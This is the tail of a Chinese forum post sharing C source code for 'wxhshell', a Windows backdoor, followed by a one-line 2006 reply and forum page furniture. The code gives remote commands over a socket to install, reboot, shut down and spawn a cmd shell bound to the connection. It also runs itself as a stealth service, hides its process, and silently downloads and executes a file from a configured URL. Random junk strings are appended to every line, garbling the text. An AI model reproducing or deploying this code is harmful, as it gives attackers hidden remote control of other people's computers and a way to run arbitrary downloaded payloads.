  else { $gm`}3C<  
%zx=rn(K  
    switch(cmd[0]) { &?\ h[3  
  LJK<Xen  
  // 帮助 ngM>Tzirt  
  case '?': { W)I)QinOH  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); V QE *B  
    break; 4R5+"h:  
  } V:*QK,  
  // 安装 M#II,z>q  
  case 'i': { 9V*h:[6a(  
    if(Install()) ZSj^\JU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @N?A 0S/  
    else "71@WLlN  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,6Ulj+l  
    break; A+d&aE }3V  
    } _ F&BSu  
  // 卸载 f6x}M9xS%  
  case 'r': { ]J\tosTi  
    if(Uninstall()) (Hqy^EOZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V3&_ST  
    else _idTsd:\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O-r,&W  
    break; ]YcM45xg  
    } Ie(vTP1Cj  
  // 显示 wxhshell 所在路径 VmM?KlC  
  case 'p': { #8P9}WTno.  
    char svExeFile[MAX_PATH]; d4h1#MK  
    strcpy(svExeFile,"\n\r"); n gA&PU  
      strcat(svExeFile,ExeFile); swv 1>52{  
        send(wsh,svExeFile,strlen(svExeFile),0); M&Aeh8>uX  
    break; $i&u\iL  
    } "*O(3L.c-  
  // 重启 epa)~/sA  
  case 'b': { .K>r ao'  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~ow_&ftlo  
    if(Boot(REBOOT)) 9mW95YI S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); / $7E  
    else { ZW\}4q;[A  
    closesocket(wsh); .^BL7  
    ExitThread(0); W$=MuF7R  
    } C<Q;3w`#1j  
    break; Tl9KL%9  
    } _MfXN$I?}  
  // 关机 g+Z~"O]$M  
  case 'd': { &Pu}"M$[MH  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 1:S75~b-`  
    if(Boot(SHUTDOWN)) QGE)Xn#_bN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <4Z;a2l}U  
    else { 5!Y51R^c  
    closesocket(wsh); A<esMDX  
    ExitThread(0); Jybx'vZj  
    } R1Jj 3k  
    break; ^W-03  
    } sV{M#UF2  
  // 获取shell ajFSbi)l  
  case 's': { V_*TY6  
    CmdShell(wsh); .\1{>A  
    closesocket(wsh); XKqUbi  
    ExitThread(0); o<T_Pjp  
    break; c%,~1l  
  } *G)=6\  
  // 退出 jFYv4!\ju  
  case 'x': { /I@nPH<y  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @&!HMl  
    CloseIt(wsh); NQCJ '%L6  
    break; wIT0A-Por4  
    } NYb eIfL  
  // 离开 4#H~g @  
  case 'q': { K1c@]]y)  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); TqURYnNd  
    closesocket(wsh); rdd%"u+  
    WSACleanup(); SenDJv00  
    exit(1); *gHGi(U(U  
    break; =sVB.P  
        } F6 ?4E"d  
  } ,#Y>nP0  
  } 595P04  
?ysC7 ((  
  // 提示信息 KrNu7/H  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (vHB`@x  
} ;<qv-$P  
  } RM2<%$  
G5~ Jp#uA  
  return; G|5M~zP  
} ZujPk-  
P)h e3  
// shell模块句柄 fba QXM  
int CmdShell(SOCKET sock) v{7Jzjd  
{ 6BT o%  
STARTUPINFO si; G2Zr (b')  
ZeroMemory(&si,sizeof(si)); Ms8& $  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -ZXC^zt  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; x O`#a=  
PROCESS_INFORMATION ProcessInfo; UR;F W`  
char cmdline[]="cmd"; R<>ptwy  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); mouLjT&p  
  return 0; Q)}_S@v|%  
} _G]f v'  
VFLxxFJ  
// 自身启动模式 #kD8U#  
int StartFromService(void) l_ /q/8-l  
{ fz H$`X'M  
typedef struct S+LE ASOr  
{ 1^<R2x  
  DWORD ExitStatus; We]mm3M3  
  DWORD PebBaseAddress; NijvFT$V1  
  DWORD AffinityMask; ~Dsz9  f  
  DWORD BasePriority; ,U9gg-.Lp  
  ULONG UniqueProcessId; 0Q]@T@F.  
  ULONG InheritedFromUniqueProcessId; eq)8V x0  
}   PROCESS_BASIC_INFORMATION; A|!u`^p  
|> mx*G  
PROCNTQSIP NtQueryInformationProcess; WVPnyVDc  
 XI+m  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; WJ)( *1  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; E3X6-J|  
NbPv>/r  
  HANDLE             hProcess; 34lt?6%j  
  PROCESS_BASIC_INFORMATION pbi; Qo7]fnnaV  
}[a  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %J`cYn#  
  if(NULL == hInst ) return 0; a#i;*J  
":t'} Eg=6  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Sl@$  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1&_9 3  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); E3bS Q  
35 /)S@  
  if (!NtQueryInformationProcess) return 0; [gK (x%  
(+Ia:D  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); D@5Ud)_  
  if(!hProcess) return 0; ,dhSc<:LT  
i}C9  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; hq}kAv4B=  
D,FX&{TYU  
  CloseHandle(hProcess); p-d2HXo  
CF|c4oY82  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7]}n 0*fe  
if(hProcess==NULL) return 0; \nQV{J  
l(;~9u0sa  
HMODULE hMod; q'u^v PO  
char procName[255]; }cDw9;~D  
unsigned long cbNeeded; laVqI|0q  
[v7)xV@c  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 5&}~W)"9  
iwJeV J  
  CloseHandle(hProcess); >l|ao&z>bm  
".Lwq_  
if(strstr(procName,"services")) return 1; // 以服务启动 F/BB]gUB  
5r#0/1ym!  
  return 0; // 注册表启动 EA@p]+P  
} ,9T-\)sT  
\^7D% a=;C  
// 主模块 l ;TWs_N  
int StartWxhshell(LPSTR lpCmdLine) MXy~kb&  
{ {9(#X]'  
  SOCKET wsl; F' eV%g  
BOOL val=TRUE; mj\]oWS7d  
  int port=0; Oj6PmUK4  
  struct sockaddr_in door; <5oG[1j  
;| (_;d  
  if(wscfg.ws_autoins) Install(); [l;9](\8O  
>z&|<H%  
port=atoi(lpCmdLine); ,^]yU?eU  
//9M~qHa"  
if(port<=0) port=wscfg.ws_port; M'Ec:p=X"  
d@o1< Q  
  WSADATA data; `~${fs{-`/  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; i vy+e-)  
l/|bU9o /u  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   E1p?v!   
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 2D,EWk/4  
  door.sin_family = AF_INET; K5; /  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); {(o$? =  
  door.sin_port = htons(port); U-uBz4Gha  
%`rZ]^H  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { N_#QS}H  
closesocket(wsl); OMaG*fb=  
return 1; oA_T9uh[  
} .Y;ljQ  
3ya_47D  
  if(listen(wsl,2) == INVALID_SOCKET) { -)S(eqq1  
closesocket(wsl); g=8}G$su{%  
return 1; )?@X{AN&  
} /5@4}m>Z@  
  Wxhshell(wsl); @EPO\\C"f  
  WSACleanup(); P)VysYb?  
%!_okf   
return 0; IhIPy~Hgt  
mGf@J6wGz  
} :nk$?5ib  
u19 d!#g  
// 以NT服务方式启动 "?_r?~sJx  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !'E{D`A9  
{ 0taopDi ;d  
DWORD   status = 0; aTJs.y -I~  
  DWORD   specificError = 0xfffffff; @qC](5|TQ  
;xp^F KP  
  serviceStatus.dwServiceType     = SERVICE_WIN32; +mc0:e{WF  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 1trk  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -Xm/sq(i)%  
  serviceStatus.dwWin32ExitCode     = 0; Iu<RwB[#Q  
  serviceStatus.dwServiceSpecificExitCode = 0; 58T<~u7  
  serviceStatus.dwCheckPoint       = 0; MiB"CcU  
  serviceStatus.dwWaitHint       = 0; |$Y0VC4a  
_*(n2'2B  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =&kd|o/i  
  if (hServiceStatusHandle==0) return; N~<H`  
;QVX'?  
status = GetLastError(); ^ +e5 M1U=  
  if (status!=NO_ERROR) ~,199K#'  
{ U _QCe+  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; I/F3%'O  
    serviceStatus.dwCheckPoint       = 0; dd$}FlT  
    serviceStatus.dwWaitHint       = 0; xPuuG{Sm  
    serviceStatus.dwWin32ExitCode     = status; W{z7h[?5,  
    serviceStatus.dwServiceSpecificExitCode = specificError; !F@9xG  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5e> <i  
    return; !G`7T  
  } e.8(tEqZ1  
]`p*ZTr)\  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; *)+K+J  
  serviceStatus.dwCheckPoint       = 0; 8OYw72&  
  serviceStatus.dwWaitHint       = 0; 3B{B6w}t&  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); V(-=@UW  
} Fo$kD(  
O!Rw? Y  
// 处理NT服务事件,比如:启动、停止 fT:a{  
VOID WINAPI NTServiceHandler(DWORD fdwControl) #M9rt ~4  
{ wOhiC$E46  
switch(fdwControl) s<}d)L(  
{ ;ALkeUR[  
case SERVICE_CONTROL_STOP: FZUN*5`  
  serviceStatus.dwWin32ExitCode = 0; w_O3];  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ynWF Y<VX  
  serviceStatus.dwCheckPoint   = 0; ukZ>_ke`+  
  serviceStatus.dwWaitHint     = 0; G-vBJlt=t  
  { vMDX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bZf18lvij:  
  } rKK{*%n  
  return; UK{6Rh ;  
case SERVICE_CONTROL_PAUSE: .Xq4QR .  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 7'pmW,;  
  break; n/>^!S  
case SERVICE_CONTROL_CONTINUE: @k"Q e&BQ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; :Adx7!6  
  break; ,};UD  W  
case SERVICE_CONTROL_INTERROGATE: h3}gg@Fm  
  break; sBsf{%I[{  
}; Q Pel n)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $i:wS= w'  
} 2YU-iipdOq  
-F7GUB6B  
// 标准应用程序主函数 WAzYnl'p  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) =.*+c\  
{ |H!kU.f]  
mBp3_E.t  
// 获取操作系统版本 PNjZbOmzS  
OsIsNt=GetOsVer(); }"V$li  
GetModuleFileName(NULL,ExeFile,MAX_PATH); J.R|Xd  
"s:eH"_s  
  // 从命令行安装 e@Cv')]B  
  if(strpbrk(lpCmdLine,"iI")) Install(); dtXA EL\q  
mX4u#$xs:  
  // 下载执行文件 Z= 'DV1A$,  
if(wscfg.ws_downexe) { "ggViIOw&  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 2HxT+|~d6  
  WinExec(wscfg.ws_filenam,SW_HIDE); k^x[(gw  
} R F)Qsa  
WcG!6.U>  
if(!OsIsNt) { F|rJ{=x  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;q8tOvQ  
HideProc(); R{GT? wl  
StartWxhshell(lpCmdLine); f3g#(1  
} uQ}0hs  
else R a> k#pQ  
  if(StartFromService()) :^G;`T`L  
  // 以服务方式启动 |^uU&O;.  
  StartServiceCtrlDispatcher(DispatchTable); lur$?_gt  
else m'L7K K-Y)  
  // 普通方式启动 'aq9]D_k  
  StartWxhshell(lpCmdLine); 2+Y 8b::  
M;14s*g  
return 0; & o2F4  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八